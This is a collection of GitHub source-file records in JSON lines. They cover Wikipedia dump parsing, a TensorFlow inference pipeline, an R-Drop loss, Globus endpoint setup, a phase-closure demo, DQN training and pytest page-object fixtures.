{"seq_id": "28448842399", "text": "import re\nimport os\nimport bz2\nfrom  extractor import Extractor\nfrom tqdm import tqdm\nfrom classes import Page, WnCtx\nfrom some_help_functions import extractCtxS, get_normal_form, wn\nfrom xml.dom import minidom\nacceptedNamespaces = ['w', 'wiktionary', 'wikt']\ntemplateNamespace = ''\ntagRE = re.compile(r'(.*?)<(/?\\w+)[^>]*>(?:([^<]*)(<.*?>)?)?')\n\ndef collect_pages(text):\n    \"\"\"\n    :param text: the text of a wikipedia file dump.\n    \"\"\"\n    # we collect individual lines, since str.join() is significantly faster\n    # than concatenation\n    page = []\n    id = ''\n    revid = ''\n    last_id = ''\n    inText = False\n    redirect = False\n    redirect_page = ''\n    for line in text:\n        if '<' not in line:     # faster than doing re.search()\n            if inText:\n                page.append(line)\n            continue\n        m = tagRE.search(line)\n        if not m:\n            continue\n        tag = m.group(2)\n        if tag == 'page':\n            page = []\n            redirect = False\n        elif tag == 'id' and not id:\n            id = m.group(3)\n        elif tag == 'id' and id: # <revision> <id></id> </revision>\n            revid = m.group(3)\n        elif tag == 'title':\n            title = m.group(3)\n        elif tag == 'redirect':\n            redirect = True\n            redirectRE = re.compile(r'title=\\\"(.*?)\\\" />')\n            redirect_page = re.findall(redirectRE, line)[0]\n        elif tag == 'text':\n            inText = True\n            line = line[m.start(3):m.end(3)]\n            page.append(line)\n            if m.lastindex == 4:  # open-close\n                inText = False\n        elif tag == '/text':\n            if m.group(1):\n                page.append(m.group(1))\n            inText = False\n        elif inText:\n            page.append(line)\n        elif tag == '/page':\n            colon = title.find(':')\n            if (colon < 0 or (title[:colon] in acceptedNamespaces) and id != last_id and\n                    not redirect and not title.startswith(templateNamespace)):\n                yield (id, revid, title, page, redirect_page,redirect)\n                last_id = id\n            id = ''\n            revid = ''\n            page = []\n            inText = False\n            redirect = False\n            redirect_page=''\n\ndef decode_open(filename, mode='rt', encoding='utf-8'):\n    \"\"\"\n    Open a file, decode and decompress, depending on extension `gz`, or 'bz2`.\n    :param filename: the file to open.\n    \"\"\"\n    ext = os.path.splitext(filename)[1]\n    if ext == '.gz':\n        import gzip\n        return gzip.open(filename, mode, encoding=encoding)\n    elif ext == '.bz2':\n        return bz2.open(filename, mode=mode, encoding=encoding)\n    else:\n        return open(filename, mode, encoding=encoding)\ndef extract_cat(text):\n    matcher=re.compile(r\"Категория:\\s?([А-Яа-я\\s?]+)\")\n    return matcher.findall(text)\ndef extract_links(text):\n    matcher=re.compile(r\"[\\[\\[]([А-Яа-я\\s?]+)[\\|,\\]\\]]\")\n    return matcher.findall(text)\ndef extract_first_links(text):\n    matcher=re.compile(r\"[\\[\\[]([А-Яа-я\\s?]+)[\\|,\\]\\]]\")\n    answer = []\n    for elem in text.split(\"\\n\"):\n        item = matcher.findall(elem)\n        if len(item) > 0:\n            answer.append(item[0])\n    return answer\n\ndef collect_article(dump_path):\n    input = decode_open(dump_path)\n    dictRedirect = {}\n    pages = []\n    redirectcount = 0\n    dictPageRedirect = {}\n    for id, revid, title, page, redirect_page, redirect in tqdm(collect_pages(input), desc='Read dump Wiki'):\n        text = ''.join(page)\n        text_lower = text.lower()\n        multiPage = False\n        if text_lower.find('{{другие значения') != -1:\n            multiPage = True\n        elif title.find(\"(\") != -1 and (not \"значения\" in title.lower())and (not \"значение\" in title.lower()):\n            multiPage = True\n        elif text_lower.find(\"{{перенаправление\") != -1:\n            multiPage = True\n        elif text_lower.find(\"{{другое значение\") != -1:\n            multiPage = True\n        elif text_lower.find(\"{{значения\") != -1:\n            multiPage = True\n        elif text_lower.find(\"{{redirect-multi\") != -1:\n            multiPage = True\n        elif text_lower.find(\"{{redirect-multi\") != -1:\n            multiPage = True\n        elif text_lower.find(\"{{see also\") != -1:\n            multiPage = True\n        elif text_lower.find(\"{{о|\") != -1:\n            multiPage= True\n        elif text_lower.find(\"{{список однофамильцев}}\") != -1:\n            multiPage= True\n        categories = extract_cat(text)\n        \n        meaningPage = False\n        if (\"значения\" in title.lower()) or (\"значение\" in title.lower()):\n            meaningPage = True\n        elif text_lower.find('{{неоднозначность') != -1:\n            meaningPage = True\n        elif text_lower.find('{{многозначность') != -1:\n            meaningPage = True\n        elif text_lower.find('{{disambig') != -1:\n            meaningPage = True\n        # redirects = extract_redirects(text)\n        links =[]\n        if not meaningPage:\n            links = extract_links(text)\n        else:\n            links = extract_first_links(text)\n        first_sentense = \"\"\n        if not redirect_page:\n            ext = Extractor(id,revid,\"\",title,page)\n            first_sentense = \"\\n\".join(ext.clean_text(text)).split(\".\")[0]\n            \n        if len(redirect_page) > 0:\n            if redirect_page not in dictRedirect:\n                dictRedirect[redirect_page] = []\n                dictPageRedirect[redirect_page] = []\n            dictPageRedirect[redirect_page].append(Page(id,revid,title,meaningPage,multiPage,categories,links,redirect,first_sentense))\n            dictRedirect[redirect_page].append(title)\n            redirectcount +=1 \n        pages.append(Page(id,revid,title,meaningPage,multiPage,categories,links,redirect,first_sentense))\n    input.close()\n    return pages, dictPageRedirect, dictRedirect\ndef collect_info_wn(xml_path):\n    mydoc = minidom.parse(xml_path)\n    items = mydoc.getElementsByTagName('sense')\n    countWn = 0\n    dictWn = {}\n    for elem in tqdm(items, desc='Read Wn sense'):\n        countWn +=1\n        text = elem.attributes['name'].value\n        text_id = elem.attributes[\"id\"].value\n        lemma = elem.attributes[\"lemma\"].value\n        ctx_s = extractCtxS(wn, lemma)\n        ctx = set()\n        for elem in ctx_s:\n            ctx.add(\" \".join([get_normal_form(word) for word in elem.split()]))\n        dictWn[text_id] = WnCtx(text_id, ctx, lemma, text)\n    return dictWn, countWn", "repo_name": "z3mois/prediction_of_hyperoimia", "sub_path": "reading_wiki_and_wn.py", "file_name": "reading_wiki_and_wn.py", "file_ext": "py", "file_size_in_byte": 6639, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "81", "api": [{"api_name": "re.compile", "line_number": 11, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 46, "usage_type": "call"}, {"api_name": "re.findall", "line_number": 47, "usage_type": "call"}, {"api_name": "os.path.splitext", "line_number": 78, "usage_type": "call"}, {"api_name": "os.path", "line_number": 78, "usage_type": "attribute"}, {"api_name": "gzip.open", "line_number": 81, "usage_type": "call"}, {"api_name": "bz2.open", "line_number": 83, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 87, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 90, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 93, "usage_type": "call"}, {"api_name": "tqdm.tqdm", "line_number": 107, "usage_type": "call"}, {"api_name": "extractor.Extractor", "line_number": 150, "usage_type": "call"}, {"api_name": "classes.Page", "line_number": 157, "usage_type": "call"}, {"api_name": "classes.Page", "line_number": 160, "usage_type": "call"}, {"api_name": "xml.dom.minidom.parse", "line_number": 164, "usage_type": "call"}, {"api_name": "xml.dom.minidom", "line_number": 164, "usage_type": "name"}, {"api_name": "tqdm.tqdm", "line_number": 168, "usage_type": "call"}, {"api_name": "some_help_functions.extractCtxS", "line_number": 173, "usage_type": "call"}, {"api_name": "some_help_functions.wn", "line_number": 173, "usage_type": "argument"}, {"api_name": "some_help_functions.get_normal_form", "line_number": 176, "usage_type": "call"}, {"api_name": "classes.WnCtx", "line_number": 177, "usage_type": "call"}]}
{"seq_id": "23364438424", "text": "\"\"\"\nInference input pipeline that is dataset agnostic.\nThis essentially means that a model can predict in arbitrary image dimensions.\n\"\"\"\nimport tensorflow as tf\nimport glob\nimport numpy as np\nfrom PIL import Image\nimport sys\nimport os\nfrom os.path import join, split, realpath\nsys.path.append(split(split(split(realpath(__file__))[0])[0])[0])\nfrom input_pipelines.utils import from_0_1_to_m1_1\nfrom tensorflow.python.util.deprecation import deprecated\nfrom utils.utils import resize_images_or_labels\n\n@deprecated('2018-07-09',\n            'Please use resize_images_or_labels from utils/utils.py.')\ndef _resize_respecting_aspect_ratio(features, target_size, method):\n  \"\"\"\n  Resize `features` spatial dimensions to `target_size` respecting the aspect ratio.\n  Resizing aims at producing the closer spatial size to 'target_size' respecting the aspect ratio.\n  Thus, the output features most of the times have different spatial size than `target_size`.\n  If the aspect ratios of features and target_size are the same then features are resized to target size.\n  Otherwise, at least one of dimensions will have the same length as in the target_size.\n\n  This function is intended for resizing images and labels for semantic segmentation.\n\n  The algorithm computes the aspect ratio of `features` spatial diamensions (H/W) and\n    of `target_size` (h/w) and:\n      if h/w < H/W: rescale with (w/W) * [H, W] -> [(w/W)*H, w], which assures that (w/W)*H > h\n      if h/w > H/W: rescale with (h/H) * [H, W] -> [h, (h/H)*W], which assures that (h/H)*W > w\n    this results in the smaller spatial dimensions that are bigger than initial spatial dimensions.\n\n  Arguments:\n    features: tf.float32 and (?, ?, ?, ?), or tf.uint32 and (?, ?, ?)\n    target_size: Python tuple\n\n  Comments:\n    spatial size of `features` is of format Nb x H x W [x C]\n\n  Output:\n    rescaled features using tf.image.resize_images\n  \"\"\"\n\n  is_image = features.dtype == tf.float32 and features.shape.ndims == 4\n  is_label = features.dtype == tf.uint32 and features.shape.ndims == 3\n\n  assert is_image or is_label, \"'features' don't have the correct specification.\"\n\n  features_size = tf.shape(features)[1:3]\n  H, W = features_size[0], features_size[1]\n  h, w = target_size\n\n  target_size_ratio = h/w\n  features_size_ratio = tf.cast(H/W, tf.float32)\n  pred_fn_pairs = {\n      tf.less(target_size_ratio, features_size_ratio): lambda: tf.cast(w/W, tf.float32),\n      tf.greater(target_size_ratio, features_size_ratio): lambda: tf.cast(h/H, tf.float32)}\n  factor = tf.case(pred_fn_pairs,\n                   default=lambda: tf.constant(1.0, dtype=tf.float32))\n\n  # new_size ceiling and the crop, because of float32 to int32 rounding errors\n  new_size = tf.cast(tf.ceil(factor*tf.cast(features_size, tf.float32)), tf.int32)\n  # new_size = tf.Print(new_size, [new_size], message='debug: ')\n  if features.shape.ndims == 4:\n    resized_features = tf.image.resize_images(features, new_size, method)\n  elif features.shape.ndims == 3:\n    resized_features = tf.image.resize_images(features[..., tf.newaxis], new_size, method)[..., 0]\n  else:\n    print('Wrong input rank.')\n  # crop\n  pred_fn_pairs = {tf.less(target_size_ratio, features_size_ratio): lambda: resized_features[:, :, :w, ...],\n                   tf.greater(target_size_ratio, features_size_ratio): lambda: resized_features[:, :h, :, ...]}\n  resized_features = tf.case(pred_fn_pairs,\n                             default=lambda: features)\n\n  # some sanity checks\n  resized_features_shape = resized_features.shape\n  if resized_features_shape[1:2].is_fully_defined():\n    assert resized_features_shape[1] == h\n  else:\n    pass\n    # print('\\nassertion for height not done\\n')\n  if resized_features_shape[2:3].is_fully_defined():\n    assert resized_features_shape[2] == w\n  else:\n    pass\n    # print('\\nassertion for width not done\\n')\n\n  return resized_features\n\ndef _predict_image_generator(params):\n  SUPPORTED_EXTENSIONS = ['png', 'PNG', 'jpg', 'JPG', 'jpeg', 'JPEG', 'ppm', 'PPM']\n  fnames = []\n  for se in SUPPORTED_EXTENSIONS:\n    glob_path = join(params.predict_dir, '**', '*.' + se)\n    fnames.extend(glob.glob(glob_path, recursive=True))\n  print(f\"Found {len(fnames)} images.\")\n\n  def _check_specs(im):\n    # make sure we only read RGB images as an extra fail-safe\n    return im.mode == 'RGB'\n\n  for im_fname in fnames:\n    # start = datetime.now()\n    im = Image.open(im_fname)\n    # next line is time consuming (can take up to 400ms for im of 2 MPixels)\n    # and apparently is not needed\n    # im_array = np.array(im)\n    # print('reading time:', datetime.now() - start)\n    if not _check_specs(im):\n      print(f\"{im_fname} [{im}] didn\\'t comply with specs. Trying to transform it, otherwise it will ignore it.\")\n      if im.mode in ['L', 'P', 'RGBA']:\n        im = im.convert(mode='RGB')\n    yield im, im_fname.encode('utf-8'), im.height, im.width\n\ndef _predict_preprocess(image, params):\n  image = tf.image.convert_image_dtype(image, tf.float32)\n  image = resize_images_or_labels(image[tf.newaxis, ...],\n                                  (params.height_feature_extractor, params.width_feature_extractor),\n                                  tf.image.ResizeMethod.BILINEAR,\n                                  preserve_aspect_ratio=params.preserve_aspect_ratio,\n                                  mode='max')[0]\n  # model expects input in [-1, 1)\n  proimage = from_0_1_to_m1_1(image)\n\n  return proimage\n\ndef predict_input(config, params):\n  del config\n  dataset = tf.data.Dataset.from_generator(lambda: _predict_image_generator(params),\n                                           output_types=(tf.uint8, tf.string, tf.int32, tf.int32),\n                                           output_shapes=((None, None, None), (), (), ()))\n  # drop height and width since are not used\n  dataset = dataset.map(lambda im, im_path, height, width: (\n      im_path, im, _predict_preprocess(im, params)), num_parallel_calls=15)\n  # TODO(panos): bring this back when batching with different input sizes is possible\n  # dataset = dataset.batch(params.Nb)\n  if params.Nb > 1:\n    print('\\n\\nBatching for inference is disabled (in case input images don\\'t have the same size).\\n\\n')\n  dataset = dataset.batch(1)\n\n  def _grouping(imp, rim, pim):\n    # group dataset elements as required by estimator\n    features = {'rawimages': rim,\n                'proimages': pim,\n                'rawimagespaths': imp}\n    return features\n\n  dataset = dataset.map(_grouping, num_parallel_calls=10)\n  dataset = dataset.prefetch(None)\n\n  return dataset\n\ndef add_predict_input_pipeline_arguments(argparser):\n  \"\"\"\n  Add arguments required by the input pipeline.\n\n  Arguments:\n    argparser: an argparse.ArgumentParser object to add arguments\n  \"\"\"\n  argparser.add_argument('--preserve_aspect_ratio', action='store_true',\n                         help='Smartly resizes the input image respecting the aspect ratio.')\n", "repo_name": "pmeletis/IV2019-boosting-semantic-segmentation-with-weak-labels", "sub_path": "code/input_pipelines/dataset_agnostic/dataset_agnostic_predict_input.py", "file_name": "dataset_agnostic_predict_input.py", "file_ext": "py", "file_size_in_byte": 6897, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "sys.path.append", "line_number": 12, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 12, "usage_type": "attribute"}, {"api_name": "os.path.split", "line_number": 12, "usage_type": "call"}, {"api_name": "os.path.realpath", "line_number": 12, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 46, "usage_type": "attribute"}, {"api_name": "tensorflow.uint32", "line_number": 47, "usage_type": "attribute"}, {"api_name": "tensorflow.shape", "line_number": 51, "usage_type": "call"}, {"api_name": "tensorflow.cast", "line_number": 56, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 56, "usage_type": "attribute"}, {"api_name": "tensorflow.less", "line_number": 58, "usage_type": "call"}, {"api_name": "tensorflow.greater", "line_number": 59, "usage_type": "call"}, {"api_name": "tensorflow.cast", "line_number": 58, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 58, "usage_type": "attribute"}, {"api_name": "tensorflow.cast", "line_number": 59, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 59, "usage_type": "attribute"}, {"api_name": "tensorflow.case", "line_number": 60, "usage_type": "call"}, {"api_name": "tensorflow.constant", "line_number": 61, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 61, "usage_type": "attribute"}, {"api_name": "tensorflow.cast", "line_number": 64, "usage_type": "call"}, {"api_name": "tensorflow.ceil", "line_number": 64, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 64, "usage_type": "attribute"}, {"api_name": "tensorflow.int32", "line_number": 64, "usage_type": "attribute"}, {"api_name": "tensorflow.image.resize_images", "line_number": 67, "usage_type": "call"}, {"api_name": "tensorflow.image", "line_number": 67, "usage_type": "attribute"}, {"api_name": "tensorflow.image.resize_images", "line_number": 69, "usage_type": "call"}, {"api_name": "tensorflow.image", "line_number": 69, "usage_type": "attribute"}, {"api_name": "tensorflow.newaxis", "line_number": 69, "usage_type": "attribute"}, {"api_name": "tensorflow.less", "line_number": 73, "usage_type": "call"}, {"api_name": "tensorflow.greater", "line_number": 74, "usage_type": "call"}, {"api_name": "tensorflow.case", "line_number": 75, "usage_type": "call"}, {"api_name": "tensorflow.python.util.deprecation.deprecated", "line_number": 17, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 97, "usage_type": "call"}, {"api_name": "glob.glob", "line_number": 98, "usage_type": "call"}, {"api_name": "PIL.Image.open", "line_number": 107, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 107, "usage_type": "name"}, {"api_name": "tensorflow.image.convert_image_dtype", "line_number": 119, "usage_type": "call"}, {"api_name": "tensorflow.image", "line_number": 119, "usage_type": "attribute"}, {"api_name": "tensorflow.float32", "line_number": 119, "usage_type": "attribute"}, {"api_name": "utils.utils.resize_images_or_labels", "line_number": 120, "usage_type": "call"}, {"api_name": "tensorflow.newaxis", "line_number": 120, "usage_type": "attribute"}, {"api_name": "tensorflow.image", "line_number": 122, "usage_type": "attribute"}, {"api_name": "input_pipelines.utils.from_0_1_to_m1_1", "line_number": 126, "usage_type": "call"}, {"api_name": "tensorflow.data.Dataset.from_generator", "line_number": 132, "usage_type": "call"}, {"api_name": "tensorflow.data", "line_number": 132, "usage_type": "attribute"}, {"api_name": "tensorflow.uint8", "line_number": 133, "usage_type": "attribute"}, {"api_name": "tensorflow.string", "line_number": 133, "usage_type": "attribute"}, {"api_name": "tensorflow.int32", "line_number": 133, "usage_type": "attribute"}]}
{"seq_id": "41792587309", "text": "import torch\nimport torch.nn.functional as F\n\n\n# R-Drop: Regularized Dropout for Neural Networks\ndef r_drop_loss(p: torch.Tensor, q: torch.Tensor, pad_mask=None):\n    p_loss = F.kl_div(F.log_softmax(p, dim=-1), F.softmax(q, dim=-1), reduction='none')\n    q_loss = F.kl_div(F.log_softmax(q, dim=-1), F.softmax(p, dim=-1), reduction='none')\n\n    if pad_mask is not None:\n        p_loss.masked_fill_(pad_mask, 0.)\n        q_loss.masked_fill_(pad_mask, 0.)\n\n    p_loss = p_loss.sum()\n    q_loss = q_loss.sum()\n\n    return (p_loss + q_loss) / 2", "repo_name": "zhujc000/torch-on-spark", "sub_path": "src/main/python/utils/loss_utils.py", "file_name": "loss_utils.py", "file_ext": "py", "file_size_in_byte": 539, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "torch.Tensor", "line_number": 6, "usage_type": "attribute"}, {"api_name": "torch.nn.functional.kl_div", "line_number": 7, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 7, "usage_type": "name"}, {"api_name": "torch.nn.functional.log_softmax", "line_number": 7, "usage_type": "call"}, {"api_name": "torch.nn.functional.softmax", "line_number": 7, "usage_type": "call"}, {"api_name": "torch.nn.functional.kl_div", "line_number": 8, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 8, "usage_type": "name"}, {"api_name": "torch.nn.functional.log_softmax", "line_number": 8, "usage_type": "call"}, {"api_name": "torch.nn.functional.softmax", "line_number": 8, "usage_type": "call"}]}
{"seq_id": "40235728374", "text": "#!/usr/bin/env python\n\nimport os\nimport subprocess\nimport pickle\nimport base64\nimport globus_sdk\n\nif os.path.exists('{}/{}'.format(os.environ['HOME'], '.globusonline/lta')):\n    pass\nelse:\n    globus_env_data = os.getenv('GLOBUS_DATA')\n    pickled_tokens = base64.b64decode(globus_env_data)\n    tokens = pickle.loads(pickled_tokens)\n    TRANSFER_TOKEN = tokens['tokens']['transfer.api.globus.org']['access_token']\n\n    authorizer = globus_sdk.AccessTokenAuthorizer(TRANSFER_TOKEN)\n    tc = globus_sdk.TransferClient(authorizer=authorizer)\n\n    gcp_display_name = \"Demo Jupyter GCP Endpoint\"\n    # This can be set using singleuser.extraEnv \n    gcp_name_env = os.getenv('GCP_DISPLAY_NAME')\n    if gcp_name_env:\n        gcp_display_name = gcp_name_env\n\n    ENDPOINT_DOCUMENT = {\n        \"DATA_TYPE\": \"endpoint\",\n        \"display_name\": gcp_display_name,\n        \"description\": \"Example GCP endpoint used in a Jupyter notebook server\",\n        \"is_globus_connect\": True,\n    }\n    create_result = tc.create_endpoint(ENDPOINT_DOCUMENT)\n    setup_key = create_result[\"globus_connect_setup_key\"]\n    subprocess.call(['/opt/gcp/globusconnectpersonal', '-setup', setup_key])\n", "repo_name": "rickbuilds/jupyterhub-desc-images", "sub_path": "images/gcp-sidecar/setupgcp.py", "file_name": "setupgcp.py", "file_ext": "py", "file_size_in_byte": 1167, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "os.path.exists", "line_number": 9, "usage_type": "call"}, {"api_name": "os.path", "line_number": 9, "usage_type": "attribute"}, {"api_name": "os.environ", "line_number": 9, "usage_type": "attribute"}, {"api_name": "os.getenv", "line_number": 12, "usage_type": "call"}, {"api_name": "base64.b64decode", "line_number": 13, "usage_type": "call"}, {"api_name": "pickle.loads", "line_number": 14, "usage_type": "call"}, {"api_name": "globus_sdk.AccessTokenAuthorizer", "line_number": 17, "usage_type": "call"}, {"api_name": "globus_sdk.TransferClient", "line_number": 18, "usage_type": "call"}, {"api_name": "os.getenv", "line_number": 22, "usage_type": "call"}, {"api_name": "subprocess.call", "line_number": 34, "usage_type": "call"}]}
{"seq_id": "41886543624", "text": "import numpy as np\nfrom matplotlib import pyplot as plt\n\n\ndef least_norm(A, closures, pinv=False):\n    '''\n        Solve: Ax = b\n        Find the minimum norm vector 'x' of phases that can explain 'b' phase closures\n    '''\n    if pinv:\n        return np.linalg.pinv(A) @ closures\n    return A.T @ np.linalg.inv(A @ A.T) @ closures\n\n\ndef get_closures(A, phi):\n    '''\n        Use matrix mult to generate vector of phase closures such that \n        the angle xi = phi_12 + phi_23 - phi_13\n    '''\n    return A @ np.angle(phi)\n\n\n# Vector of phases with zero phase closure errors\nclosed = np.exp(1j * np.array([0.5, 1, 0.5]))\n\n# Vector of phases with non-zero closure errors\nunclosed = np.exp(1j * np.array([0.5, 1 + 0.1, 0.5 + 0.1]))\n\n\ndef main(phis):\n    ind = np.array([1, 2, 3])\n    A = np.array([[1, -1, 1]])\n\n    # Phases to phase closures\n    closures = get_closures(A, phis)\n\n    # Phase closures back to phases\n    least_norm_phi = least_norm(A, closures)\n    print('Phase closures: ', closures)\n\n    plt.plot(ind, np.angle(closed), label='observed phases')\n    plt.plot(ind, np.angle(least_norm_phi), label='least norm phases ')\n    plt.plot(ind, np.angle(closed * least_norm_phi.conj()),\n             label='Corrected Phases')\n\n    plt.legend(loc='lower left')\n    plt.show()\n\n\nmain(unclosed)\n", "repo_name": "rbiessel/CovSAR", "sub_path": "applications/least_norm.py", "file_name": "least_norm.py", "file_ext": "py", "file_size_in_byte": 1301, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 4, "dataset": "github-code", "pt": "81", "api": [{"api_name": "numpy.linalg.pinv", "line_number": 11, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 11, "usage_type": "attribute"}, {"api_name": "numpy.linalg.inv", "line_number": 12, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 12, "usage_type": "attribute"}, {"api_name": "numpy.angle", "line_number": 20, "usage_type": "call"}, {"api_name": "numpy.exp", "line_number": 24, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 24, "usage_type": "call"}, {"api_name": "numpy.exp", "line_number": 27, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 27, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 31, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 32, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 41, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 41, "usage_type": "name"}, {"api_name": "numpy.angle", "line_number": 41, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 42, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 42, "usage_type": "name"}, {"api_name": "numpy.angle", "line_number": 42, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 43, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 43, "usage_type": "name"}, {"api_name": "numpy.angle", "line_number": 43, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 46, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 46, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 47, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 47, "usage_type": "name"}]}
{"seq_id": "20413909060", "text": "import gym\nfrom basic.modules.Agents.Networks.DQN import DQN, DQ_agent\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nif __name__ == '__main__':\n    env = gym.make('LunarLander-v2')\n    agent = DQ_agent(gamma=0.99, epsilon=1.0,batch_size=64, n_actions=4,\n                     eps_end=0.01, input_dims=[8], lr=0.003)\n    scores, eps_history = [], []\n    n_games = 500\n\n    for i in range(n_games):\n        score = 0\n        done  = False\n        observation = env.reset()\n\n        while not done:\n            action = agent.choose_action(observation)\n            observation_, reward, done, info = env.step(action)\n            score += reward\n            agent.store_transition(observation, action,reward,observation_,done)\n            agent.learn()\n            observation = observation_\n\n        scores.append(score)\n        eps_history.append(agent.epsilon)\n\n        avg_score = np.mean(scores[-100:])\n        print(f'episode:{i}, score: {score}, avg:{ avg_score}, epsilon: {agent.epsilon}')\n\n    # plot learning\n    x = [i+1 for i in range(n_games)]\n    plt.plot(x, scores, label='score')\n    plt.plot(x,eps_history,label='epsilon')\n    plt.legend(loc=0)\n    plt.show()\n\n\nmain()", "repo_name": "annikc/MEMRL", "sub_path": "basic/Tests/wbd/different_networks/dqn.py", "file_name": "dqn.py", "file_ext": "py", "file_size_in_byte": 1186, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 5, "dataset": "github-code", "pt": "81", "api": [{"api_name": "gym.make", "line_number": 7, "usage_type": "call"}, {"api_name": "basic.modules.Agents.Networks.DQN.DQ_agent", "line_number": 8, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 29, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 34, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 34, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 35, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 35, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 36, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 36, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 37, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 37, "usage_type": "name"}]}
{"seq_id": "26999747297", "text": "#!/usr/bin/python3.7\n# -*- coding: utf-8 -*-\n# @Time    : 2021/5/4 13:34\n# @Author  : 黄权权\n# @File    : conftest.py\n# @Software: PyCharm\nimport pytest\n\nfrom pylib.web_UI_lib.pageObjects.commonPage import CommonPage\nfrom pylib.web_UI_lib.pageObjects.consumerServicePage import ConsumerServicePage\nfrom pylib.web_UI_lib.pageObjects.downloadPage import DownloadPage\nfrom pylib.web_UI_lib.pageObjects.homePage import HomePage\nfrom pylib.web_UI_lib.pageObjects.loginPage import LoginPage\nfrom pylib.web_UI_lib.pageObjects.marketPage import MarketPage\nfrom pylib.web_UI_lib.pageObjects.openShopPage import OpenShopPage\nfrom pylib.web_UI_lib.pageObjects.registerPage import RegisterPage\nfrom pylib.web_UI_lib.pageObjects.siteMapPage import SiteMapPage\n\n\n@pytest.fixture(scope=\"session\")\ndef init_commonPage():\n    \"\"\"\n    初始化创建一个commomPage 实例对象\n    :return: \n    \"\"\"\n    commonPage = CommonPage()\n    yield commonPage\n    # 关闭浏览器\n    # commonPage.quit_browser()\n\n\n@pytest.fixture(scope=\"session\")\ndef init_homePage():\n    \"\"\"\n    初始化创建一个homePage 实例对象\n    :return:\n    \"\"\"\n    homePage = HomePage()\n    yield homePage\n\n\n@pytest.fixture(scope=\"session\")\ndef init_loginPage():\n    \"\"\"\n    初始化创建一个loginPage 实例对象\n    :return:\n    \"\"\"\n    loginPage = LoginPage()\n    yield loginPage\n\n\n@pytest.fixture(scope=\"session\")\ndef init_registerPage():\n    \"\"\"\n    初始化创建一个registerPage 实例对象\n    :return:\n    \"\"\"\n    registerPage = RegisterPage()\n    yield registerPage\n\n\n@pytest.fixture(scope=\"session\")\ndef init_downloadPage():\n    \"\"\"\n    初始化创建一个downloadPage 实例对象\n    :return:\n    \"\"\"\n    downloadPage = DownloadPage()\n    yield downloadPage\n\n\n@pytest.fixture(scope=\"session\")\ndef init_marketPage():\n    \"\"\"\n    初始化创建一个marketPage 实例对象\n    :return:\n    \"\"\"\n    marketPage = MarketPage()\n    yield marketPage\n\n\n@pytest.fixture(scope=\"session\")\ndef init_openShopPage():\n    \"\"\"\n    初始化创建一个openShopPage 实例对象\n    :return:\n    \"\"\"\n    openShopPage = OpenShopPage()\n    yield openShopPage\n\n\n@pytest.fixture(scope=\"session\")\ndef init_consumerServicePage():\n    \"\"\"\n    初始化创建一个consumerServicePage 实例对象\n    :return:\n    \"\"\"\n    consumerServicePage = ConsumerServicePage()\n    yield consumerServicePage\n\n\n@pytest.fixture(scope=\"session\")\ndef init_siteMapPage():\n    \"\"\"\n    初始化创建一个siteMapPage 实例对象\n    :return:\n    \"\"\"\n    siteMapPage = SiteMapPage()\n    yield siteMapPage\n", "repo_name": "Hquanquan/Taobao", "sub_path": "testcase/webUI测试用例/conftest.py", "file_name": "conftest.py", "file_ext": "py", "file_size_in_byte": 2553, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "pylib.web_UI_lib.pageObjects.commonPage.CommonPage", "line_number": 26, "usage_type": "call"}, {"api_name": "pytest.fixture", "line_number": 20, "usage_type": "call"}, {"api_name": "pylib.web_UI_lib.pageObjects.homePage.HomePage", "line_number": 38, "usage_type": "call"}, {"api_name": "pytest.fixture", 